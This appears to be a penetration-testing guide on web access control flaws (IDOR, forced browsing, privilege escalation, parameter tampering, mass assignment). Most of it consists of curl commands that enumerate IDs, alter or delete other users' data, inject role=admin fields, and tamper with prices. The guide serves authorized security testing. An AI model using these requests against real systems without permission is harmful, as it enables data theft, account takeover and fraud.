Access Control Testing
WSTG-AUTHZ-01 through WSTG-AUTHZ-04
Understanding Access Control Failuresβ
Access control vulnerabilities occur when the application doesn't properly enforce what actions a given user is allowed to perform. Unlike injection or XSS - which involve technical exploitation of how the code handles input - access control failures are often logical: the application simply doesn't check whether you're authorized before giving you what you ask for.
This is the most common class of web vulnerability, and one of the hardest for scanners to find, because determining whether a response is "wrong" requires understanding what the user should and shouldn't be allowed to see.
Categoriesβ
| Category | What's Being Bypassed |
|---|---|
| IDOR (Insecure Direct Object Reference) | The application uses a user-controlled ID to retrieve objects, but doesn't verify the requesting user owns that object |
| Forced Browsing | Protected paths or admin functions are reachable directly via URL without proper auth checks |
| Horizontal Privilege Escalation | A regular user accesses another regular user's data/actions |
| Vertical Privilege Escalation | A regular user performs admin-level actions |
| Parameter Tampering | Changing a role, privilege, or permission parameter that should be server-controlled |
IDOR Testingβ
IDOR is the most widespread authorization flaw in modern web applications. An API endpoint like /api/orders/1234 returns order 1234. If the application only checks that you're logged in - not that order 1234 belongs to you - any authenticated user can access any order by changing the number.
Identify direct object referencesβ
Look for any user-controlled value that references a database record:
# URL parameters
/profile?id=1042
/api/users/1042
/invoice/download?id=2891
/messages/thread/554
# POST body
{"user_id": 1042, "action": "delete"}
# Cookies or headers
X-User-ID: 1042
Test IDOR manuallyβ
# Step 1: Note your own user/resource ID
# e.g., you are user ID 1042, your session token is abc123
# Step 2: Try accessing another user's resource
curl -si "http://target.com/api/profile/1041" \
-H "Cookie: session=abc123"
curl -si "http://target.com/api/profile/1043" \
-H "Cookie: session=abc123"
# Step 3: Try sequential IDs around your own
for id in $(seq 1038 1048); do
response=$(curl -si "http://target.com/api/profile/$id" -H "Cookie: session=abc123")
size=$(echo "$response" | wc -c)
echo "ID $id: $size bytes"
done
# Step 4: Try accessing privileged objects (admin records)
curl -si "http://target.com/api/admin/user/1" \
-H "Cookie: session=abc123"
Non-integer object referencesβ
IDORs aren't only in sequential integers. Check all of:
# UUIDs - still worth testing even if they look random
curl -si "http://target.com/api/document/550e8400-e29b-41d4-a716-446655440000" \
-H "Cookie: session=abc123"
# Hashed IDs - sometimes MD5/SHA1 of the integer
# Try computing the hash of adjacent IDs
echo -n "1041" | md5sum
echo -n "1041" | sha1sum
# Encoded IDs - base64
echo -n "1041" | base64 # -> MTA0MQ==
curl -si "http://target.com/api/user/MTA0MQ==" -H "Cookie: session=abc123"
# Usernames as references
curl -si "http://target.com/profile/otherusername" -H "Cookie: session=abc123"
Multi-account IDOR testingβ
The most reliable IDOR test requires two accounts with different privilege levels:
# Account A: regular user - session=SESSION_A
# Account B: another regular user (or admin) - session=SESSION_B
# Action: Create a resource as Account A and note its ID
curl -si -X POST "http://target.com/api/note" \
-H "Cookie: session=SESSION_A" \
-d '{"content":"private note"}'
# Returns: {"id": 5541}
# Test: Access that resource as Account B
curl -si "http://target.com/api/note/5541" \
-H "Cookie: session=SESSION_B"
# Test: Modify that resource as Account B
curl -si -X PUT "http://target.com/api/note/5541" \
-H "Cookie: session=SESSION_B" \
-d '{"content":"hacked"}'
# Test: Delete that resource as Account B
curl -si -X DELETE "http://target.com/api/note/5541" \
-H "Cookie: session=SESSION_B"
IDOR in HTTP methodsβ
A resource may be read-protected but writable by unauthorized users, or vice versa:
# Even if GET requires ownership, does DELETE check the same way?
curl -si -X DELETE "http://target.com/api/user/1041/posts/892" \
-H "Cookie: session=abc123"
Forced Browsingβ
Access protected paths or admin functions directly, without going through the normal UI flow.
# Try accessing admin paths directly
curl -si "http://target.com/admin/users" -H "Cookie: session=REGULAR_USER_SESSION"
curl -si "http://target.com/admin/settings" -H "Cookie: session=REGULAR_USER_SESSION"
curl -si "http://target.com/api/admin/export" -H "Cookie: session=REGULAR_USER_SESSION"
# Try accessing authenticated resources without any session
curl -si "http://target.com/dashboard" # No cookie - should redirect to login, not show content
curl -si "http://target.com/api/users" # No Authorization header
# Walk the sitemap/discovered paths for each privilege level
# Content that returns 200 for an unauthenticated or low-priv request = finding
Content discovery (feroxbuster/ffuf) with a regular user session will reveal paths that a scanner without a session would miss. Run content discovery both unauthenticated and authenticated - the delta shows you what's hidden behind auth that you now need to test for access control.
Vertical Privilege Escalationβ
A regular user accessing admin functionality.
# Change role parameter in a request
curl -si -X POST "http://target.com/user/update" \
-H "Cookie: session=REGULAR_SESSION" \
-d "username=me&role=admin"
# Manipulate hidden form fields
# If source contains: <input type="hidden" name="role" value="user">
# Submit with role=admin
curl -si -X POST "http://target.com/account/settings" \
-H "Cookie: session=REGULAR_SESSION" \
-d "email=me@target.com&role=admin&is_admin=1"
# Access admin API directly
curl -si "http://target.com/api/v1/admin/users" \
-H "Cookie: session=REGULAR_SESSION" \
-H "X-Admin: true"
# Try adding admin-specific headers/cookies
curl -si "http://target.com/admin/panel" \
-H "Cookie: session=REGULAR_SESSION; admin=true"
Horizontal Privilege Escalationβ
Access another user's data without accessing admin functions - same privilege level, different user.
# Access another user's profile/data
curl -si "http://target.com/api/user/profile" \
-H "Cookie: session=SESSION_A" \
-H "X-User-ID: <OTHER_USER_ID>"
# Email-based IDOR - supply another user's email
curl -si -X POST "http://target.com/account/data-export" \
-H "Cookie: session=SESSION_A" \
-d "email=victim@target.com"
# Referencing another user's resource in a PUT/POST
curl -si -X PUT "http://target.com/api/order/9999/cancel" \
-H "Cookie: session=SESSION_A"
# Where order 9999 belongs to another user
Parameter Tampering and Mass Assignmentβ
Parameter tamperingβ
# Price/quantity manipulation
curl -si -X POST "http://target.com/cart/checkout" \
-d "item_id=5&quantity=1&price=0.01"
# Step-skipping in multi-step workflows
# If checkout has 3 steps, try going directly to step 3
curl -si "http://target.com/checkout/step3/confirm" \
-H "Cookie: session=SESSION"
# Negative quantity
curl -si -X POST "http://target.com/cart/update" \
-d "item_id=5&quantity=-1"
Mass assignmentβ
Many frameworks (Rails, Laravel, Express, Spring) auto-bind POST parameters to model attributes. If a developer doesn't whitelist allowed fields, an attacker can set fields that shouldn't be user-editable.
# Register with extra fields that map to database columns
curl -si -X POST "http://target.com/register" \
-d "username=test&password=Test123&email=test@evil.com&role=admin&is_verified=true&credit_balance=9999"
# Update profile with non-editable fields
curl -si -X PUT "http://target.com/api/profile" \
-H "Cookie: session=SESSION" \
-H "Content-Type: application/json" \
-d '{"name":"Test","email":"test@evil.com","role":"admin","subscription":"premium","credits":9999}'
Access Control Testing Checklistβ
[ ] Test all sensitive endpoints with no session (should redirect/403)
[ ] Test all admin endpoints with a regular user session (should 403)
[ ] Identify all direct object references in the application
[ ] Create two test accounts - swap IDs between them
[ ] Test all HTTP methods (GET/POST/PUT/DELETE) on each resource
[ ] Check all hidden form fields for privilege/role parameters
[ ] Test parameter manipulation on price, quantity, step, role, admin fields
[ ] Check POST body for mass-assignable fields not shown in the UI
[ ] Test UUID/hash-based IDs (compute adjacent values manually)
[ ] Test with no Authorization header on API endpoints